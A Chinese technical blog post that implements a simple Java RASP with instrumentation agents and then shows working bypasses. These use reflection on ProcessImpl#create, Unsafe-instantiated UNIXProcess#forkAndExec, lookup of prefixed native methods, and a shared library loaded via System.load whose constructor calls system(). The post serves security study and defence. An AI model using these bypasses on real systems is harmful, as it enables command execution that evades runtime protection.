java Rasp 的简单实现与绕过

java Rasp 的简单实现与绕过

Ko1sh1

Rasp Hook 命令执行函数的攻与防

本质上就是 agent 技术

Runtime

可以简单写一个 agentmain hook 掉 Runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package Hook._Runtime;

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class AgentDemo implements ClassFileTransformer {
private static final String targetClassName = "java.lang.Runtime";

public static void agentmain(String agentArgs, Instrumentation instrumentation) {
instrumentation.addTransformer(new AgentDemo(), true);
Class[] classes = instrumentation.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(targetClassName)){
try{
instrumentation.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
if (className.equals(targetClassName)) {
ClassPool pool = ClassPool.getDefault();
System.out.println("Find the Inject Class: " + targetClassName);
CtClass clazz = null;
try {
clazz = pool.getCtClass("java.lang.Runtime");
CtMethod method = clazz.getDeclaredMethod("exec");
method.insertBefore("if(!$1.equals(\"\")){$1 = \"mspaint\";};");
method.insertBefore("System.out.println(\"exec method parameter : \"+ $1 );");
byte[] bytes = clazz.toBytecode();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}
}

再写个 Demo 使用 agent 查看结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Hook._Runtime;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;

public class MainDemo {
public static void main(String[] args) throws Exception{
String path = "./src/main/java/Hook/_Runtime/jars/agentmain.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
if (v.displayName().contains("MainDemo")){
System.out.println("已找到目标类,将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接,并将 agent.jar 发送给虚拟机");
VirtualMachine vm = VirtualMachine.attach(v.id());
vm.loadAgent(path);

// 此时 agent 已被使用,尝试调用 Runtime
Runtime.getRuntime().exec("ozxicjiozjcx");
vm.detach();
}
}
}
}

发现不论我们exec输入什么内容,都会弹出画板,说明hook成功了,我们改成其他内容就可以过滤 Runtime 执行系统命令的内容了。

image-20240319101348289

ProcessBuilder

在Linux 和 Windows 下对 Runtime 的 exec 方法进行调试。

Windows 下执行命令最终对应的方法是 java.lang.ProcessImpl#create,该方法是 native 方法,通过 idea 无法再深入调试

image-20240319104148722

而在 Linux 下最终在 UNIXProcess 类的初始化方法中调用了 native 方法 forkAndExec。

image-20240319104613603

这俩 native 方法后面再说,通过调用栈可以看到 Runtime 的 exec 方法都经过了 ProcessBuilder 的 start 方法,所以我们 hook Runtime 后其实是可以使用 ProcessBuilder 进行绕过的。

1
2
3
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("calc");
processBuilder.start();

所以我们可以对 ProcessBuilder 的 start 方法进行修改,这样也可以同时防止通过 Runtime 进行的命令执行

把 transform 小改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
if (className.equals(targetClassName)) {
ClassPool pool = ClassPool.getDefault();
System.out.println("Find the Inject Class: " + targetClassName);
CtClass clazz = null;
try {
clazz = pool.getCtClass(className);
CtMethod method = clazz.getDeclaredMethod("start");
method.insertBefore("this.command.add(\"calc\");");
method.insertBefore("this.command.clear();");
byte[] bytes = clazz.toBytecode();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}

这时候执行的所有命令都会变成 calc ,证明方法调用拦截成功。

image-20240319131745046

UNIXProcess/ProcessImpl

一般来说RASP技术(OpenRASP)都会hook UNIXProcess/ProcessImpl 类来实现对命令执行函数的的监控,因为这里是Java层最底层的类,也是Java层监控的极限,但是攻击者可以反射调用forkAndExec这个native方法或者利用JNI来调用一个自己实现命令执行函数的动态链接库进行利用。JNI 绕过 Rasp 后续再讨论,这里介绍反射的方式。

简单 rasp 检测

现在我们监控 UNIXProcess/ProcessImpl 类,这已经是 Java 层监控的极限了,修改后的 agent 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package Hook._ProcessImpl;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class AgentDemo implements ClassFileTransformer {
private static final String[] targetClassNameArray = {"java.lang.ProcessImpl" , "java.lang.UNIXProcess"};

public static void agentmain(String agentArgs, Instrumentation instrumentation) {
instrumentation.addTransformer(new AgentDemo(), true);
Class[] classes = instrumentation.getAllLoadedClasses();
for (Class clas:classes){
if (Arrays.asList(targetClassNameArray).contains(clas.getName())){
try{
instrumentation.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
if (Arrays.asList(targetClassNameArray).contains(className)) {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = null;
try {
clazz = pool.getCtClass(className);
CtConstructor[] method = clazz.getDeclaredConstructors();
method[0].insertBefore("{System.out.println(\""+ className +" 类被初始化\");}");
return clazz.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}
}

Windows 绕过

对于 Windows 环境,根据上面的内容可以知道调用的是 java.lang.ProcessImpl#create 方法,而这个方法是静态方法,不需要实例化对象就可以调用。

image-20240319145212870

以下代码是绕过的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package Hook._ProcessImpl;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.lang.reflect.Method;
import java.util.List;

public class _Windows_Demo {
public static void main(String[] args) throws Exception{
String path = "./src/main/java/Hook/_ProcessImpl/jars/agentmain.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
if (v.displayName().contains("_Windows_Demo")){
VirtualMachine vm = VirtualMachine.attach(v.id());
vm.loadAgent(path);

System.out.println("---- 直接调用 Runtime ----");
Runtime.getRuntime().exec("whoami");

System.out.println("---- 绕过操作 ----");
bypass_hook("calc");

System.out.println("---- 直接调用 Runtime ----");
Runtime.getRuntime().exec("whoami");

vm.detach();
}
}
}

public static void bypass_hook(String cmd) throws Exception{
Class processClass = Class.forName("java.lang.ProcessImpl");

String cmdstr = cmd;
String envblock = null;
String dir = null;
long[] stdHandles = new long[]{-1, -1, -1};
// 这里将 redirectErrorStream 设置为 true 以便于将错误输出重定向到标准输出
boolean redirectErrorStream = true;

Method create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
// 由于 create 方法是静态方法,甚至都不用实例化对象就行。
create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream);
}
}

可以发现成功弹出了计算器,并且通过控制台的输出结果可以发现我们的命令调用并没有被 rasp 拦截到,成功的绕过了检测。

image-20240320220504191

Linux 绕过

Linux 下主要调用的是 forkAndExec 方法,但是 forkAndExec 并不和 Windows 下的 create 方法那样是静态方法,其函数声明如下:

image-20240320221410169

正常反射调用 forkAndExec 方法就不能仅通过传入 null 来实现了,需要我们实例化一个 UNIXprocess 对象,而这个实例化操作肯定就会被 rasp 拦截到了,但是我们可以通过 Unsafe 类的 allocateInstance 方法在不调用 UNIXProcess/ProcessImpl 构造方法情况下生成实例。以下是绕过 rasp 的方法示例(forkAndExec 参数属实有点多。。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void bypass_hook_linux(String cmd) throws Exception {
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe_getObject(processClass);


Object launchMechanism = getFieldValue(processObject, "launchMechanism");
int ordinal = ((int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism)) + 1;
byte[] helperpath = getFieldValue(processObject, "helperpath");
byte[] prog = new byte[cmd.getBytes().length + 1];
System.arraycopy(cmd.getBytes(), 0, prog, 0, cmd.getBytes().length);
byte[] argBlock = new byte[]{};
int argc = 0;
byte[] envBlock = null;
int envc = 0;
byte[] dir = null;
int[] fds = new int[]{-1, -1, -1};
boolean redirectErrorStream = true;


Method forkAndExecMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class,
byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkAndExecMethod.setAccessible(true);
forkAndExecMethod.invoke(processObject, ordinal, helperpath, prog, argBlock, argc,
envBlock, envc, dir, fds, redirectErrorStream);
}

private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass);
}

运行后和 windows 绕过的情况一样,成功弹出记事本,而没有触发检测

image-20240321191830788

native

hook 原理解析

因为native方法在class中字节码就是空的,所以我们使用 rasp 从修改方法体来说貌似就没办法防御住上面的绕过方式的。

但是在 JVMTI 中提供了一个方法setNativeMethodPrefix,可以用来设置native方法的解析前缀。

Java无法直接访问到操作系统底层如硬件系统,为此 Java提供了JNI来实现对于底层的访问。JNI,Java Native Interface,它是Java的SDK一部分,JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即 JNI 实现了 Java 和本地代码间的双向交互。Java不能直接调用系统函数,而是通过 forkAndExec 这个 native 函数(Linux 下)调用其用本地代码实现的方法:

https://github.com/JetBrains/jdk8u_jdk/blob/master/src/solaris/native/java/lang/UNIXProcess_md.c#L566

image-20240321204310963

可以看出 native 方法解析到本地方法函数是由Java类的包名称和方法名称组成,这个规则这称之为:standard resolution(标准解析)。

通过 setNativeMethodPrefix 函数对 ClassFileTransformer 设置 native prefix,此时 JVM 将会使用动态解析方式。

比如,现有一个native方法在标准解析下为:

1
native boolean foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

通过setNativeMethodPrefix函数设置了native prefix,且prefix为”wrapped_”

那么解析关系就会变为:

1
native boolean wrapped_foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

img.png

一旦可以找到对应的native实现,那么调用这个函数,整个解析过程就结束了;

如果没有找到,那么虚拟机将会做依次进行下面的解析工作(method 指的是 native 方法,nativeImplementation 指的是 C/C++ 实现的方法):

1)method(foo) -> nativeImplementation(foo)

增加method的prefix,继续:

2)method(wrapped_foo) -> nativeImplementation(foo)

增加 nativeImplementation的prefix,继续:

3)method(wrapped_foo) -> nativeImplementation(wrapped_foo)

去掉 nativeImplementation 的 prefix,继续:

4)method(wrapped_foo) -> nativeImplementation(foo)

如果找到上面的其中一个对应关系,则执行。否则,因为没有任何一个合适的解析方式,则这个过程失败。

有多个 transformer场景

虚拟机是按 transformer 被加入到的 Instrumentation 之中的次序去解析的(即addTransformer)。

假设有三个 transformer 要被加入进来,他们的次序和相对应的 prefix 分别为:transformer1 和“prefix1_”,transformer2 和 “prefix2_”,transformer3 和 “prefix3_”。 虚拟机做的解析规则为 :

1
native boolean prefix1_prefix2_prefix3_foo(int x);  ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

通过上面的过程,其实我们可以了解到当设置前缀后,如果原本的函数仍存在,则不会有任何影响,所以我们需要删除原 native 方法,编写具有前缀的 native 方法,此时第二个解析就能成功了,但是还需要去调用到这个 native 方法,所以我们还需要写一个同名称同参数的原方法,但是不要加上 native 修饰。

于是我们去 hook 一个 native 方法实际上就是如下过程:

  • 1.移除想要 hook 的 native 方法。

  • 2.增加一个 native 方法,这个方法和 hook 的 native 方法除了方法名增加 prefix ,其他相同。

  • 3.增加一个和 hook native 方法同名的 java 方法(除去其 native 修饰),其中返回时调用 prefix native方法。

hook 尝试

agent 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package Hook._native;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class AgentDemo implements ClassFileTransformer {
private static final String[] targetClassNameArray = {"java.lang.ProcessImpl", "java.lang.UNIXProcess"};

public static void agentmain(String agentArgs, Instrumentation instrumentation) {
AgentDemo transforme = new AgentDemo();
String nativePrefix = "ko1sh1_";
instrumentation.addTransformer(transforme, true);
if (instrumentation.isNativeMethodPrefixSupported()){
instrumentation.setNativeMethodPrefix(transforme, nativePrefix);
}else {
System.out.println("The JVM does not support setting the native method prefix");
}

Class[] classes = instrumentation.getAllLoadedClasses();
for (Class clas : classes) {
if (Arrays.asList(targetClassNameArray).contains(clas.getName())) {
try {
instrumentation.retransformClasses(clas);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (Arrays.asList(targetClassNameArray).contains(className)) {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = null;
try {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
clazz = pool.getCtClass(className);
// 添加新的前缀方法
CtMethod method = CtNewMethod.make("long ko1sh1_create(String var1, String var2, String var3, long[] var4, boolean var5);", clazz);
method.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.SYNCHRONIZED | Modifier.NATIVE);
clazz.addMethod(method);
// 移除旧的方法
CtMethod method1 = clazz.getDeclaredMethod("create");
clazz.removeMethod(method1);

// 添加原本的方法,但是不使用 native 修饰
CtMethod method2 = CtNewMethod.make("long create(String var1, String var2, String var3, long[] var4, boolean var5) throws java.io.IOException { " +
"String a = ($w)$0; " +
"String b = ($w)$1; " +
"String c = ($w)$2; " +
"System.out.println(\"检测到命令执行操作,内容为:\"+a);"+
"return ko1sh1_create(a,b,c,new long[]{-1,-1,-1},false); " +
"}", clazz);
method2.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.SYNCHRONIZED);
clazz.addMethod(method2);

byte[] bytes = clazz.toBytecode();
return bytes;
} else {
if ("java.lang.UNIXProcess".equals(className)) {
clazz = pool.getCtClass(className);
CtMethod method = CtNewMethod.make("int ko1sh1_forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);", clazz);
method.setModifiers(Modifier.PRIVATE | Modifier.NATIVE);
clazz.addMethod(method);

CtMethod method1 = clazz.getDeclaredMethod("forkAndExec");
clazz.removeMethod(method1);

CtMethod method2 = CtNewMethod.make("int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10) throws java.io.IOException { System.out.println(\"检测到系统命令执行,内容为: \" + new java.lang.String(var3)); return this.ko1sh1_forkAndExec(var1, var2, var3, var4, var5, var6, var7, var8, var9, var10); }", clazz);
method2.setModifiers(Modifier.PRIVATE);
clazz.addMethod(method2);

byte[] bytes = clazz.toBytecode();
return bytes;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}
}

尝试使用之前的方式进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package Hook._native;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;

public class _OriginalByPass {
public static void main(String[] args) throws Exception{
String path = "./src/main/java/Hook/_native/jars/agentmain.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
if (v.displayName().contains("_OriginalByPass")){
VirtualMachine vm = VirtualMachine.attach(v.id());
vm.loadAgent(path);
System.out.println("---- 绕过操作 ----");
if (System.getProperty("os.name").toLowerCase().contains("win")) {
// Runtime.getRuntime().exec("whoami");
bypass_hook_windows("calc");
} else {
// Runtime.getRuntime().exec("mousepad");
bypass_hook_linux("mousepad");
}
vm.detach();
}
}
}

public static void bypass_hook_windows(String cmd) throws Exception{
Class processClass = Class.forName("java.lang.ProcessImpl");

String cmdstr = cmd;
String envblock = null;
String dir = null;
long[] stdHandles = new long[]{-1, -1, -1};
// 这里将 redirectErrorStream 设置为 true 以便于将错误输出重定向到标准输出
boolean redirectErrorStream = true;

Method create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
// 由于 create 方法是静态方法,甚至都不用实例化对象就行。
create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream);
}
public static void bypass_hook_linux(String cmd) throws Exception {
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe_getObject(processClass);


Object launchMechanism = getFieldValue(processObject, "launchMechanism");
int ordinal = ((int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism)) + 1;
byte[] helperpath = getFieldValue(processObject, "helperpath");
byte[] prog = new byte[cmd.getBytes().length + 1];
System.arraycopy(cmd.getBytes(), 0, prog, 0, cmd.getBytes().length);
byte[] argBlock = new byte[]{};
int argc = 0;
byte[] envBlock = null;
int envc = 0;
byte[] dir = null;
int[] fds = new int[]{-1, -1, -1};
boolean redirectErrorStream = true;


Method forkAndExecMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class,
byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkAndExecMethod.setAccessible(true);
forkAndExecMethod.invoke(processObject, ordinal, helperpath, prog, argBlock, argc,
envBlock, envc, dir, fds, redirectErrorStream);
}

private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass);
}

public static <T> T getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return (T) field.get(obj);
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
}

image-20240324144827295

image-20240324144912864

可以发现在 linux 下和 windows 下均被拦截检测到了。

绕过

通过上面的内容可以发现,其实本质上只是改变了执行命令的函数名称而已,只要我们能找到命令执行的函数名称(其实很好找到,因为都是加前缀,后面的内容就是原本函数的名字都不会变),就还是能绕过检测的,所以其实绕过很简单,只要反射不去调用 create 方法,而是去调用 ko1sh1_create 就行。所以只要在每次执行时进行检测就行,这里以方便的 windows 为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
package Hook._native;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;

public class _ByPass1 {
public static void main(String[] args) throws Exception{
String path = "./src/main/java/Hook/_native/jars/agentmain.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
if (v.displayName().contains("_ByPass1")){
VirtualMachine vm = VirtualMachine.attach(v.id());
vm.loadAgent(path);
if (System.getProperty("os.name").toLowerCase().contains("win")) {
bypass_hook_windows("calc");
} else {
bypass_hook_linux("mousepad");
}
vm.detach();
}
}
}

public static void bypass_hook_windows(String cmd) throws Exception{
Class processClass = Class.forName("java.lang.ProcessImpl");

String cmdstr = cmd;
String envblock = null;
String dir = null;
long[] stdHandles = new long[]{-1, -1, -1};
// 这里将 redirectErrorStream 设置为 true 以便于将错误输出重定向到标准输出
boolean redirectErrorStream = true;
boolean flag = true;
for (Method method : processClass.getDeclaredMethods()) {
if (method.getName().endsWith("create") && !method.getName().equals("create")) {
System.out.println("修改后的方法名为:"+method.getName()+", 绕过成功!");
method.setAccessible(true);
method.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream);
flag = false;
}
}
if (flag){
Method create = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream);
}

}
public static void bypass_hook_linux(String cmd) throws Exception {
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}

Object processObject = unsafe_getObject(processClass);
Object launchMechanism = getFieldValue(processObject, "launchMechanism");
int ordinal = ((int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism)) + 1;
byte[] helperpath = getFieldValue(processObject, "helperpath");
byte[] prog = new byte[cmd.getBytes().length + 1];
System.arraycopy(cmd.getBytes(), 0, prog, 0, cmd.getBytes().length);
byte[] argBlock = new byte[]{};
int argc = 0;
byte[] envBlock = null;
int envc = 0;
byte[] dir = null;
int[] fds = new int[]{-1, -1, -1};
boolean redirectErrorStream = true;
boolean flag = true;


for (Method method : processClass.getDeclaredMethods()) {
if (method.getName().endsWith("forkAndExec") && !method.getName().equals("forkAndExec")) {
System.out.println("修改后的方法名为:"+method.getName()+", 绕过成功!");
method.setAccessible(true);
method.invoke(processObject, ordinal, helperpath, prog, argBlock, argc,
envBlock, envc, dir, fds, redirectErrorStream);
flag = false;
}
}
if (flag){
Method forkAndExecMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class,
byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkAndExecMethod.setAccessible(true);
forkAndExecMethod.invoke(processObject, ordinal, helperpath, prog, argBlock, argc,
envBlock, envc, dir, fds, redirectErrorStream);
}

}

private static <T> T unsafe_getObject(Class<? super T> objectClass) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (T) ((Unsafe) unsafeField.get(null)).allocateInstance(objectClass);
}

public static <T> T getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return (T) field.get(obj);
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
}

image-20240324145220175

可以发现命令被成功执行,而且执行的命令并没有被拦截。

JNI 绕过RASP 执行命令

https://www.cnblogs.com/nice0e3/p/14067160.html#0x02-jni%E5%AE%9E%E7%8E%B0

这种方式挺麻烦的,这个装载native方法的类从哪儿上传呢,可能可以写个静态代码块先 loadLibrary ?有空再学吧

System.load 绕过

大概就是编译一个c文件为 so(Linux) 或者 dll (Windows)

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("calc");
}

// gcc -shared -fPIC evil.c -o evil.so
// gcc -shared -fPIC evil.c -o evil.dll

使用 gcc 进行编译

1
2
3
gcc -shared -fPIC evil.c -o evil.dll

gcc -shared -fPIC evil.c -o evil.so

最后通过 Evil 类去调用 System.load() 方法进行加载即可。

  • 标题: java Rasp 的简单实现与绕过
  • 作者: Ko1sh1
  • 创建于 : 2024-03-25 10:51:22
  • 更新于 : 2024-05-30 21:13:33
  • 链接: https://ko1sh1.github.io/2024/03/25/blog_java Rasp的实现与绕过/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论